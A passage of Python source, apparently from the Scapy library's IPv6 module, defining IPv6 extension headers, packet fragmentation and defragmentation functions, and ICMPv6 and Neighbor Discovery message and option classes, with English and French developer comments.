32), # There is meaning in this field ... IP6ListField("addresses", [], length_from = lambda pkt: 8*pkt.len)] overload_fields = {IPv6: { "nh": 43 }} def post_build(self, pkt, pay): if self.segleft is None: pkt = pkt[:3]+struct.pack("B", len(self.addresses))+pkt[4:] return _IPv6ExtHdr.post_build(self, pkt, pay) ########################### Fragmentation Header ############################ class IPv6ExtHdrFragment(_IPv6ExtHdr): name = "IPv6 Extension Header - Fragmentation header" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), BitField("res1", 0, 8), BitField("offset", 0, 13), BitField("res2", 0, 2), BitField("m", 0, 1), IntField("id", None) ] overload_fields = {IPv6: { "nh": 44 }} def defragment6(pktlist): """ Performs defragmentation of a list of IPv6 packets. Packets are reordered. Crap is dropped. What lacks is completed by 'X' characters. """ l = [ x for x in pktlist if IPv6ExtHdrFragment in x ] # remove non fragments if not l: return [] id = l[0][IPv6ExtHdrFragment].id llen = len(l) l = [ x for x in l if x[IPv6ExtHdrFragment].id == id ] if len(l) != llen: warning("defragment6: some fragmented packets have been removed from list") llen = len(l) # reorder fragments i = 0 res = [] while l: min_pos = 0 min_offset = l[0][IPv6ExtHdrFragment].offset for p in l: cur_offset = p[IPv6ExtHdrFragment].offset if cur_offset < min_offset: min_pos = 0 min_offset = cur_offset res.append(l[min_pos]) del(l[min_pos]) # regenerate the fragmentable part fragmentable = b"" for p in res: q=p[IPv6ExtHdrFragment] offset = 8*q.offset if offset != len(fragmentable): warning("Expected an offset of %d. Found %d. Padding with XXXX" % (len(fragmentable), offset)) fragmentable += b"X"*(offset - len(fragmentable)) fragmentable += bytes(q.payload) # Regenerate the unfragmentable part. q = res[0] nh = q[IPv6ExtHdrFragment].nh q[IPv6ExtHdrFragment].underlayer.nh = nh q[IPv6ExtHdrFragment].underlayer.payload = None q /= conf.raw_layer(load=fragmentable) return IPv6(bytes(q)) def fragment6(pkt, fragSize): """ Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected maximum size of fragments (MTU). The list of packets is returned. If packet does not contain an IPv6ExtHdrFragment class, it is returned in result list. """ pkt = pkt.copy() if not IPv6ExtHdrFragment in pkt: # TODO : automatically add a fragment before upper Layer # at the moment, we do nothing and return initial packet # as single element of a list return [pkt] # If the payload is bigger than 65535, a Jumbo payload must be used, as # an IPv6 packet can't be bigger than 65535 bytes. if len(bytes(pkt[IPv6ExtHdrFragment])) > 65535: warning("An IPv6 packet can'be bigger than 65535, please use a Jumbo payload.") return [] s = bytes(pkt) # for instantiation to get upper layer checksum right if len(s) <= fragSize: return [pkt] # Fragmentable part : fake IPv6 for Fragmentable part length computation fragPart = pkt[IPv6ExtHdrFragment].payload tmp = bytes(IPv6(src="::1", dst="::1")/fragPart) fragPartLen = len(tmp) - 40 # basic IPv6 header length fragPartStr = s[-fragPartLen:] # Grab Next Header for use in Fragment Header nh = IPv6(tmp[:40]).nh # Keep fragment header fragHeader = pkt[IPv6ExtHdrFragment] fragHeader.payload = None # detach payload # Unfragmentable Part unfragPartLen = len(s) - fragPartLen - 8 unfragPart = pkt pkt[IPv6ExtHdrFragment].underlayer.payload = None # detach payload # Cut the fragmentable part to fit fragSize. Inner fragments have # a length that is an integer multiple of 8 octets. last Frag MTU # can be anything below MTU lastFragSize = fragSize - unfragPartLen - 8 innerFragSize = lastFragSize - (lastFragSize % 8) if lastFragSize <= 0 or innerFragSize == 0: warning("Provided fragment size value is too low. " + "Should be more than %d" % (unfragPartLen + 8)) return [unfragPart/fragHeader/fragPart] remain = fragPartStr res = [] fragOffset = 0 # offset, incremeted during creation fragId = random.randint(0,0xffffffff) # random id ... if fragHeader.id is not None: # ... except id provided by user fragId = fragHeader.id fragHeader.m = 1 fragHeader.id = fragId fragHeader.nh = nh # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ... while True: if (len(remain) > lastFragSize): tmp = remain[:innerFragSize] remain = remain[innerFragSize:] fragHeader.offset = fragOffset # update offset fragOffset += (innerFragSize // 8) # compute new one if IPv6 in unfragPart: unfragPart[IPv6].plen = None tempo = unfragPart/fragHeader/conf.raw_layer(load=tmp) res.append(tempo) else: fragHeader.offset = fragOffset # update offSet fragHeader.m = 0 if IPv6 in unfragPart: unfragPart[IPv6].plen = None tempo = unfragPart/fragHeader/conf.raw_layer(load=remain) res.append(tempo) break return res ############################### AH Header ################################### # class _AHFieldLenField(FieldLenField): # def getfield(self, pkt, s): # l = getattr(pkt, self.fld) # l = (l*8)-self.shift # i = self.m2i(pkt, s[:l]) # return s[l:],i # class _AHICVStrLenField(StrLenField): # def i2len(self, pkt, x): # class IPv6ExtHdrAH(_IPv6ExtHdr): # name = "IPv6 Extension Header - AH" # fields_desc = [ ByteEnumField("nh", 59, ipv6nh), # _AHFieldLenField("len", None, "icv"), # ShortField("res", 0), # IntField("spi", 0), # IntField("sn", 0), # _AHICVStrLenField("icv", None, "len", shift=2) ] # overload_fields = {IPv6: { "nh": 51 }} # def post_build(self, pkt, pay): # if self.len is None: # pkt = pkt[0]+struct.pack("!B", 2*len(self.addresses))+pkt[2:] # if self.segleft is None: # pkt = pkt[:3]+struct.pack("!B", len(self.addresses))+pkt[4:] # return _IPv6ExtHdr.post_build(self, pkt, pay) ############################### ESP Header ################################## # class IPv6ExtHdrESP(_IPv6extHdr): # name = "IPv6 Extension Header - ESP" # fields_desc = [ IntField("spi", 0), # IntField("sn", 0), # # there is things to extract from IKE work # ] # overloads_fields = {IPv6: { "nh": 50 }} ############################################################################# ############################################################################# ### ICMPv6* Classes ### ############################################################################# ############################################################################# icmp6typescls = { 1: "ICMPv6DestUnreach", 2: "ICMPv6PacketTooBig", 3: "ICMPv6TimeExceeded", 4: "ICMPv6ParamProblem", 128: "ICMPv6EchoRequest", 129: "ICMPv6EchoReply", 130: "ICMPv6MLQuery", 131: "ICMPv6MLReport", 132: "ICMPv6MLDone", 133: "ICMPv6ND_RS", 134: "ICMPv6ND_RA", 135: "ICMPv6ND_NS", 136: "ICMPv6ND_NA", 137: "ICMPv6ND_Redirect", #138: Do Me - RFC 2894 - Seems painful 139: "ICMPv6NIQuery", 140: "ICMPv6NIReply", 141: "ICMPv6ND_INDSol", 142: "ICMPv6ND_INDAdv", #143: Do Me - RFC 3810 144: "ICMPv6HAADRequest", 145: "ICMPv6HAADReply", 146: "ICMPv6MPSol", 147: "ICMPv6MPAdv", #148: Do Me - SEND related - RFC 3971 #149: Do Me - SEND related - RFC 3971 151: "ICMPv6MRD_Advertisement", 152: "ICMPv6MRD_Solicitation", 153: "ICMPv6MRD_Termination", } icmp6typesminhdrlen = { 1: 8, 2: 8, 3: 8, 4: 8, 128: 8, 129: 8, 130: 24, 131: 24, 132: 24, 133: 8, 134: 16, 135: 24, 136: 24, 137: 40, #139: #140 141: 8, 142: 8, 144: 8, 145: 8, 146: 8, 147: 8, 151: 8, 152: 4, 153: 4 } icmp6types = { 1 : "Destination unreachable", 2 : "Packet too big", 3 : "Time exceeded", 4 : "Parameter problem", 100 : "Private Experimentation", 101 : "Private Experimentation", 128 : "Echo Request", 129 : "Echo Reply", 130 : "MLD Query", 131 : "MLD Report", 132 : "MLD Done", 133 : "Router Solicitation", 134 : "Router Advertisement", 135 : "Neighbor Solicitation", 136 : "Neighbor Advertisement", 137 : "Redirect Message", 138 : "Router Renumbering", 139 : "ICMP Node Information Query", 140 : "ICMP Node Information Response", 141 : "Inverse Neighbor Discovery Solicitation Message", 142 : "Inverse Neighbor Discovery Advertisement Message", 143 : "Version 2 Multicast Listener Report", 144 : "Home Agent Address Discovery Request Message", 145 : "Home Agent Address Discovery Reply Message", 146 : "Mobile Prefix Solicitation", 147 : "Mobile Prefix Advertisement", 148 : "Certification Path Solicitation", 149 : "Certification Path Advertisement", 151 : "Multicast Router Advertisement", 152 : "Multicast Router Solicitation", 153 : "Multicast Router Termination", 200 : "Private Experimentation", 201 : "Private Experimentation" } class _ICMPv6(Packet): name = "ICMPv6 dummy class" overload_fields = {IPv6: {"nh": 58}} def post_build(self, p, pay): p += pay if self.cksum == None: chksum = in6_chksum(58, self.underlayer, p) p = p[:2]+struct.pack("!H", chksum)+p[4:] return p def hashret(self): return self.payload.hashret() def answers(self, other): # isinstance(self.underlayer, _IPv6ExtHdr) may introduce a bug ... if (isinstance(self.underlayer, IPerror6) or isinstance(self.underlayer, _IPv6ExtHdr) and isinstance(other, _ICMPv6)): if not ((self.type == other.type) and (self.code == other.code)): return 0 return 1 return 0 class _ICMPv6Error(_ICMPv6): name = "ICMPv6 errors dummy class" def guess_payload_class(self,p): return IPerror6 class ICMPv6Unknown(_ICMPv6): name = "Scapy6 ICMPv6 fallback class" fields_desc = [ ByteEnumField("type",1, icmp6types), ByteField("code",0), XShortField("cksum", None), StrField("msgbody", "")] ################################## RFC 2460 ################################# class ICMPv6DestUnreach(_ICMPv6Error): name = "ICMPv6 Destination Unreachable" fields_desc = [ ByteEnumField("type",1, icmp6types), ByteEnumField("code",0, { 0: "No route to destination", 1: "Communication with destination administratively prohibited", 2: "Beyond scope of source address", 3: "Address unreachable", 4: "Port unreachable" }), XShortField("cksum", None), XIntField("unused",0x00000000)] class ICMPv6PacketTooBig(_ICMPv6Error): name = "ICMPv6 Packet Too Big" fields_desc = [ ByteEnumField("type",2, icmp6types), ByteField("code",0), XShortField("cksum", None), IntField("mtu",1280)] class ICMPv6TimeExceeded(_ICMPv6Error): name = "ICMPv6 Time Exceeded" fields_desc = [ ByteEnumField("type",3, icmp6types), ByteEnumField("code",0, { 0: "hop limit exceeded in transit", 1: "fragment reassembly time exceeded"}), XShortField("cksum", None), XIntField("unused",0x00000000)] # The default pointer value is set to the next header field of # the encapsulated IPv6 packet class ICMPv6ParamProblem(_ICMPv6Error): name = "ICMPv6 Parameter Problem" fields_desc = [ ByteEnumField("type",4, icmp6types), ByteEnumField("code",0, {0: "erroneous header field encountered", 1: "unrecognized Next Header type encountered", 2: "unrecognized IPv6 option encountered"}), XShortField("cksum", None), IntField("ptr",6)] class ICMPv6EchoRequest(_ICMPv6): name = "ICMPv6 Echo Request" fields_desc = [ ByteEnumField("type", 128, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id",0), XShortField("seq",0), StrField("data", "")] def mysummary(self): return self.sprintf("%name% (id: %id% seq: %seq%)") def hashret(self): return struct.pack("HH",self.id,self.seq)+self.payload.hashret() class ICMPv6EchoReply(ICMPv6EchoRequest): name = "ICMPv6 Echo Reply" type = 129 def answers(self, other): # We could match data content between request and reply. return (isinstance(other, ICMPv6EchoRequest) and self.id == other.id and self.seq == other.seq and self.data == other.data) ############ ICMPv6 Multicast Listener Discovery (RFC3810) ################## # tous les messages MLD sont emis avec une adresse source lien-locale # -> Y veiller dans le post_build si aucune n'est specifiee # La valeur de Hop-Limit doit etre de 1 # "and an IPv6 Router Alert option in a Hop-by-Hop Options # header. (The router alert option is necessary to cause routers to # examine MLD messages sent to multicast addresses in which the router # itself has no interest" class _ICMPv6ML(_ICMPv6): fields_desc = [ ByteEnumField("type", 130, icmp6types), ByteField("code", 0), XShortField("cksum", None), ShortField("mrd", 0), ShortField("reserved", 0), IP6Field("mladdr","::")] # general queries are sent to the link-scope all-nodes multicast # address ff02::1, with a multicast address field of 0 and a MRD of # [Query Response Interval] # Default value for mladdr is set to 0 for a General Query, and # overloaded by the user for a Multicast Address specific query # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLQuery(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Query" type = 130 mrd = 10000 mladdr = "::" # 10s for mrd overload_fields = {IPv6: { "dst": "ff02::1", "hlim": 1, "nh": 58 }} def hashret(self): if self.mladdr != "::": return struct.pack("HH",self.mladdr)+self.payload.hashret() else: return self.payload.hashret() # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLReport(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Report" type = 131 overload_fields = {IPv6: {"hlim": 1, "nh": 58}} # implementer le hashret et le answers # When a node ceases to listen to a multicast address on an interface, # it SHOULD send a single Done message to the link-scope all-routers # multicast address (FF02::2), carrying in its multicast address field # the address to which it is ceasing to listen # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLDone(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Done" type = 132 overload_fields = {IPv6: { "dst": "ff02::2", "hlim": 1, "nh": 58}} ########## ICMPv6 MRD - Multicast Router Discovery (RFC 4286) ############### # TODO: # - 04/09/06 troglocan : find a way to automatically add a router alert # option for all MRD packets. This could be done in a specific # way when IPv6 is the under layer with some specific keyword # like 'exthdr'. This would allow to keep compatibility with # providing IPv6 fields to be overloaded in fields_desc. # # At the moment, if user inserts an IPv6 Router alert option # none of the IPv6 default values of IPv6 layer will be set. class ICMPv6MRD_Advertisement(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Advertisement" fields_desc = [ByteEnumField("type", 151, icmp6types), ByteField("advinter", 20), XShortField("cksum", None), ShortField("queryint", 0), ShortField("robustness", 0)] overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:8], s[8:] class ICMPv6MRD_Solicitation(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Solicitation" fields_desc = [ByteEnumField("type", 152, icmp6types), ByteField("res", 0), XShortField("cksum", None) ] overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:4], s[4:] class ICMPv6MRD_Termination(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Termination" fields_desc = [ByteEnumField("type", 153, icmp6types), ByteField("res", 0), XShortField("cksum", None) ] overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::6A"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:4], s[4:] ################### ICMPv6 Neighbor Discovery (RFC 2461) #################### icmp6ndopts = { 1: "Source Link-Layer Address", 2: "Target Link-Layer Address", 3: "Prefix Information", 4: "Redirected Header", 5: "MTU", 6: "NBMA Shortcut Limit Option", # RFC2491 7: "Advertisement Interval Option", 8: "Home Agent Information Option", 9: "Source Address List", 10: "Target Address List", 11: "CGA Option", # RFC 3971 12: "RSA Signature Option", # RFC 3971 13: "Timestamp Option", # RFC 3971 14: "Nonce option", # RFC 3971 15: "Trust Anchor Option", # RFC 3971 16: "Certificate Option", # RFC 3971 17: "IP Address Option", # RFC 4068 18: "New Router Prefix Information Option", # RFC 4068 19: "Link-layer Address Option", # RFC 4068 20: "Neighbor Advertisement Acknowledgement Option", 21: "CARD Request Option", # RFC 4065/4066/4067 22: "CARD Reply Option", # RFC 4065/4066/4067 23: "MAP Option", # RFC 4140 24: "Route Information Option", # RFC 4191 25: "Recusive DNS Server Option", 26: "IPv6 Router Advertisement Flags Option" } icmp6ndoptscls = { 1: "ICMPv6NDOptSrcLLAddr", 2: "ICMPv6NDOptDstLLAddr", 3: "ICMPv6NDOptPrefixInfo", 4: "ICMPv6NDOptRedirectedHdr", 5: "ICMPv6NDOptMTU", 6: "ICMPv6NDOptShortcutLimit", 7: "ICMPv6NDOptAdvInterval", 8: "ICMPv6NDOptHAInfo", 9: "ICMPv6NDOptSrcAddrList", 10: "ICMPv6NDOptTgtAddrList", #11: Do Me, #12: Do Me, #13: Do Me, #14: Do Me, #15: Do Me, #16: Do Me, 17: "ICMPv6NDOptIPAddr", 18: "ICMPv6NDOptNewRtrPrefix", 19: "ICMPv6NDOptLLA", #18: Do Me, #19: Do Me, #20: Do Me, #21: Do Me, #22: Do Me, 23: "ICMPv6NDOptMAP", 24: "ICMPv6NDOptRouteInfo", 25: "ICMPv6NDOptRDNSS", 26: "ICMPv6NDOptEFA" } class _ICMPv6NDGuessPayload: name = "Dummy ND class that implements guess_payload_class()" def guess_payload_class(self,p): if len(p) > 1: #return get_cls(icmp6ndoptscls.get(ord(p[0]),"Raw"), "Raw") # s/Raw/ICMPv6NDOptUnknown/g ? return get_cls(icmp6ndoptscls.get(p[0],"Raw"), "Raw") # s/Raw/ICMPv6NDOptUnknown/g ? # Beginning of ICMPv6 Neighbor Discovery Options. class ICMPv6NDOptUnknown(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Scapy Unimplemented" fields_desc = [ ByteField("type",None), FieldLenField("len",None,length_of="data",fmt="B", adjust = lambda pkt,x: x+2), StrLenField("data","", length_from = lambda pkt: pkt.len-2) ] # NOTE: len includes type and len field. Expressed in unit of 8 bytes # TODO: Revoir le coup du ETHER_ANY class ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Source Link-Layer Address" fields_desc = [ ByteField("type", 1), ByteField("len", 1), MACField("lladdr", ETHER_ANY) ] def mysummary(self): return self.sprintf("%name% %lladdr%") class ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr): name = "ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address" type = 2 class ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Prefix Information" fields_desc = [ ByteField("type",3), ByteField("len",4), ByteField("prefixlen",None), BitField("L",1,1), BitField("A",1,1), BitField("R",0,1), BitField("res1",0,5), XIntField("validlifetime",0xffffffff), XIntField("preferredlifetime",0xffffffff), XIntField("res2",0x00000000), IP6Field("prefix","::") ] def mysummary(self): return self.sprintf("%name% %prefix%") # TODO: We should also limit the size of included packet to something # like (initiallen - 40 - 2) class TruncPktLenField(PacketLenField): def __init__(self, name, default, cls, cur_shift, length_from=None, shift=0): PacketLenField.__init__(self, name, default, cls, length_from=length_from) self.cur_shift = cur_shift def getfield(self, pkt, s): l = self.length_from(pkt) i = self.m2i(pkt, s[:l]) return s[l:],i def m2i(self, pkt, m): s = None try: # It can happen we have sth shorter than 40 bytes s = self.cls(m) except: return conf.raw_layer(m) return s def i2m(self, pkt, x): s = bytes(x) l = len(s) r = (l + self.cur_shift) % 8 l = l - r return s[:l] def i2len(self, pkt, i): return len(self.i2m(pkt, i)) # Faire un post_build pour le recalcul de la taille (en multiple de 8 octets) class ICMPv6NDOptRedirectedHdr(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Redirected Header" fields_desc = [ ByteField("type",4), FieldLenField("len", None, length_of="pkt", fmt="B", adjust = lambda pkt,x:(x+8)//8), StrFixedLenField("res", b"\x00"*6, 6), TruncPktLenField("pkt", b"", IPv6, 8, length_from = lambda pkt: 8*pkt.len-8) ] # See which value should be used for default MTU instead of 1280 class ICMPv6NDOptMTU(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - MTU" fields_desc = [ ByteField("type",5), ByteField("len",1), XShortField("res",0), IntField("mtu",1280)] class ICMPv6NDOptShortcutLimit(_ICMPv6NDGuessPayload, Packet): # RFC 2491 name = "ICMPv6 Neighbor Discovery Option - NBMA Shortcut Limit" fields_desc = [ ByteField("type", 6), ByteField("len", 1), ByteField("shortcutlim", 40), # XXX ByteField("res1", 0), IntField("res2", 0) ] class ICMPv6NDOptAdvInterval(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery - Interval Advertisement" fields_desc = [ ByteField("type",7), ByteField("len",1), ShortField("res", 0), IntField("advint", 0) ] def mysummary(self): return self.sprintf("%name% %advint% milliseconds") class ICMPv6NDOptHAInfo(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery - Home Agent Information" fields_desc = [ ByteField("type",8), ByteField("len",1), ShortField("res", 0), ShortField("pref", 0), ShortField("lifetime", 1)] def mysummary(self): return self.sprintf("%name% %pref% %lifetime% seconds") # type 9 : See ICMPv6NDOptSrcAddrList class below in IND (RFC 3122) support # type 10 : See ICMPv6NDOptTgtAddrList class below in IND (RFC 3122) support class ICMPv6NDOptIPAddr(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - IP Address Option (FH for MIPv6)" fields_desc = [ ByteField("type",17), ByteField("len", 3), ByteEnumField("optcode", 1, {1: "Old Care-Of Address", 2: "New Care-Of Address", 3: "NAR's IP address" }), ByteField("plen", 64), IntField("res", 0), IP6Field("addr", "::") ] class ICMPv6NDOptNewRtrPrefix(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - New Router Prefix Information Option (FH for MIPv6)" fields_desc = [ ByteField("type",18), ByteField("len", 3), ByteField("optcode", 0), ByteField("plen", 64), IntField("res", 0), IP6Field("prefix", "::") ] _rfc4068_lla_optcode = {0: "Wildcard requesting resolution for all nearby AP", 1: "LLA for the new AP", 2: "LLA of the MN", 3: "LLA of the NAR", 4: "LLA of the src of TrSolPr or PrRtAdv msg", 5: "AP identified by LLA belongs to current iface of router", 6: "No preifx info available for AP identified by the LLA", 7: "No fast handovers support for AP identified by the LLA" } class ICMPv6NDOptLLA(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - Link-Layer Address (LLA) Option (FH for MIPv6)" fields_desc = [ ByteField("type", 19), ByteField("len", 1), ByteEnumField("optcode", 0, _rfc4068_lla_optcode), MACField("lla", ETHER_ANY) ] # We only support ethernet class ICMPv6NDOptMAP(_ICMPv6NDGuessPayload, Packet): # RFC 4140 name = "ICMPv6 Neighbor Discovery - MAP Option" fields_desc = [ ByteField("type", 23), ByteField("len", 3), BitField("dist", 1, 4), BitField("pref", 15, 4), # highest availability BitField("R", 1, 1), BitField("res", 0, 7), IntField("validlifetime", 0xffffffff), IP6Field("addr", "::") ] class IP6PrefixField(IP6Field): def __init__(self, name, default): IP6Field.__init__(self, name, default) self.length_from = lambda pkt: 8*(pkt.len - 1) def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def getfield(self, pkt, s): l = self.length_from(pkt) p = s[:l] if l < 16: p += b'\x00'*(16-l) return s[l:], self.m2i(pkt,p) def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def i2m(self, pkt, x): l = pkt.len if x is None: x = "::" if l is None: l = 1 x = inet_pton(socket.AF_INET6, x) if l is None: return x if l in [0, 1]: return b"" if l in [2, 3]: return x[:8*(l-1)] return x + b'\x00'*8*(l-3) class ICMPv6NDOptRouteInfo(_ICMPv6NDGuessPayload, Packet): # RFC 4191 name = "ICMPv6 Neighbor Discovery Option - Route Information Option" fields_desc = [ ByteField("type",24), FieldLenField("len", None, length_of="prefix", fmt="B", adjust = lambda pkt,x: x//8 + 1), ByteField("plen", None), BitField("res1",0,3), BitField("prf",0,2), BitField("res2",0,3), IntField("rtlifetime", 0xffffffff), IP6PrefixField("prefix", None) ] class ICMPv6NDOptRDNSS(_ICMPv6NDGuessPayload, Packet): # RFC 5006 name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option" fields_desc = [ ByteField("type", 25), FieldLenField("len", None, count_of="dns", fmt="B", adjust = lambda pkt,x: 2*x+1), ShortField("res", None), IntField("lifetime", 0xffffffff), IP6ListField("dns", [], length_from = lambda pkt: 8*(pkt.len-1)) ] class ICMPv6NDOptEFA(_ICMPv6NDGuessPayload, Packet): # RFC 5175 (prev. 5075) name = "ICMPv6 Neighbor Discovery Option - Expanded Flags Option" fields_desc = [ ByteField("type", 26), ByteField("len", 1), BitField("res", 0, 48) ] # End of ICMPv6 Neighbor Discovery Options. class ICMPv6ND_RS(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Neighbor Discovery - Router Solicitation" fields_desc = [ ByteEnumField("type", 133, icmp6types), ByteField("code",0), XShortField("cksum", None), IntField("res",0) ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::2", "hlim": 255 }} class ICMPv6ND_RA(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Neighbor Discovery - Router Advertisement" fields_desc = [ ByteEnumField("type", 134, icmp6types), ByteField("code",0), XShortField("cksum", None), ByteField("chlim",0), BitField("M",0,1), BitField("O",0,1), BitField("H",0,1), BitEnumField("prf",1,2, { 0: "Medium (default)", 1: "High", 2: "Reserved", 3: "Low" } ), # RFC 4191 BitField("P",0,1), BitField("res",0,2), ShortField("routerlifetime",1800), IntField("reachabletime",0), IntField("retranstimer",0) ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} def answers(self, other): return isinstance(other, ICMPv6ND_RS) class ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet): name = "ICMPv6 Neighbor Discovery - Neighbor Solicitation" fields_desc = [ ByteEnumField("type",135, icmp6types), ByteField("code",0), XShortField("cksum", None), IntField("res", 0), IP6Field("tgt","::") ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} def mysummary(self): return self.sprintf("%name% (tgt: %tgt%)") def hashret(self): return self.getbyteval("tgt")+self.payload.hashret() class ICMPv6ND_NA(_ICMPv6NDGuessPayload, _ICMPv6, Packet): name = "ICMPv6 Neighbor Discovery - Neighbor Advertisement" fields_desc = [ ByteEnumField("type",136, icmp6types), ByteField("code",0), XShortField("cksum", None), BitField("R",1,1), BitField("S",0,1), BitField("O",1,1), XBitField("res",0,29), IP6Field("tgt","::") ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} def mysummary(self): return self.sprintf("%name% (tgt: %tgt%)") def hashret(self): return self.getbyteval("tgt")+self.payload.hashret() def answers(self, other): return isinstance(other, ICMPv6ND_NS) and self.tgt == other.tgt # associated possible options : target link-layer option, Redirected header class ICMPv6ND_Redirect(_ICMPv6NDGuessPayload, _ICMPv6, Packet): name = "ICMPv6 Neighbor Discovery - Redirect" fields_desc = [ ByteEnumField("type",137, icmp6types), ByteField("code",0), XShortField("cksum", None), XIntField("res",0), IP6Field("tgt","::"), IP6Field("dst","::") ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} ################ ICMPv6 Inverse Neighbor Discovery (RFC 3122) ############### class ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Inverse Neighbor Discovery Option - Source Address List" fields_desc = [ ByteField("type",9), FieldLenField("len", None, count_of="addrlist", fmt="B", adjust = lambda pkt,x: 2*x+1), StrFixedLenField("res", "\x00"*6, 6), IP6ListField("addrlist", [], length_from = lambda pkt: 8*(pkt.len-1)) ] class ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList): name = "ICMPv6 Inverse Neighbor Discovery Option - Target Address List" type = 10 # RFC3122 # Options requises : source lladdr et target lladdr # Autres options valides : source address list, MTU # - Comme precise dans le document, il serait bien de prendre l'adresse L2 # demandee dans l'option requise target lladdr et l'utiliser au niveau # de l'adresse destination ethernet si aucune adresse n'est precisee # - ca semble pas forcement pratique si l'utilisateur doit preciser toutes # les options. # Ether() must use the target lladdr as destination class ICMPv6ND_INDSol(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Inverse Neighbor Discovery Solicitation" fields_desc = [ ByteEnumField("type",141, icmp6types), ByteField("code",0), XShortField("cksum",None), XIntField("reserved",0) ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} # Options requises : target lladdr, target address list # Autres options valides : MTU class ICMPv6ND_INDAdv(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Inverse Neighbor Discovery Advertisement" fields_desc = [ ByteEnumField("type",142, icmp6types), ByteField("code",0), XShortField("cksum",None), XIntField("reserved",0) ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} ############################################################################### # ICMPv6 Node Information Queries (RFC 4620) ############################################################################### # [ ] Add automatic destination address computation using computeNIGroupAddr # in IPv6 class (Scapy6 modification when integrated) if : # - it is not provided # - upper layer is ICMPv6NIQueryName() with a valid value # [ ] Try to be liberal in what we accept as internal values for _explicit_ # DNS elements provided by users. Any string should be considered # valid and kept like it has been provided. At the moment, i2repr() will # crash on many inputs # [ ] Do the documentation # [ ] Add regression tests # [ ] Perform test against real machines (NOOP reply is proof of implementation). # [ ] Check if there are differences between different stacks. Among *BSD, # with others. # [ ] Deal with flags in a consistent way. # [ ] Implement compression in names2dnsrepr() and decompresiion in # dnsrepr2names(). Should be deactivable. icmp6_niqtypes = { 0: "NOOP", 2: "Node Name", 3: "IPv6 Address", 4: "IPv4 Address" } class _ICMPv6NIHashret: def hashret(self): return self.nonce class _ICMPv6NIAnswers: def answers(self, other): return self.nonce == other.nonce # Buggy; always returns the same value during a session class NonceField(StrFixedLenField): def __init__(self, name, default=None): StrFixedLenField.__init__(self, name, default, 8) if default is None: self.default = self.randval() # Compute the NI group Address. Can take a FQDN as input parameter def computeNIGroupAddr(name): import md5 name = name.lower().split(".")[0] record = chr(len(name))+name h = md5.new(record) h = h.digest() addr = "ff02::2:%2x%2x:%2x%2x" % struct.unpack("BBBB", h[:4]) return addr # Here is the deal. First, that protocol is a piece of shit. Then, we # provide 4 classes for the different kinds of Requests (one for every # valid qtype: NOOP, Node Name, IPv6@, IPv4@). They all share the same # data field class that is made to be smart by guessing the specifc # type of value provided : # # - IPv6 if acceptable for inet_pton(AF_INET6, ): code is set to 0, # if not overriden by user # - IPv4 if acceptable for inet_pton(AF_INET, ): code is set to 2, # if not overriden # - Name in the other cases: code is set to 0, if not overriden by user # # Internal storage, is not only the value, but the a pair providing # the type and the value (1 is IPv6@, 1 is Name or string, 2 is IPv4@) # # Note : I merged getfield() and m2i(). m2i() should not be called # directly anyway. Same remark for addfield() and i2m() # # -- arno # "The type of information present in the Data field of a query is # declared by the ICMP Code, whereas the type of information in a # Reply is determined by the 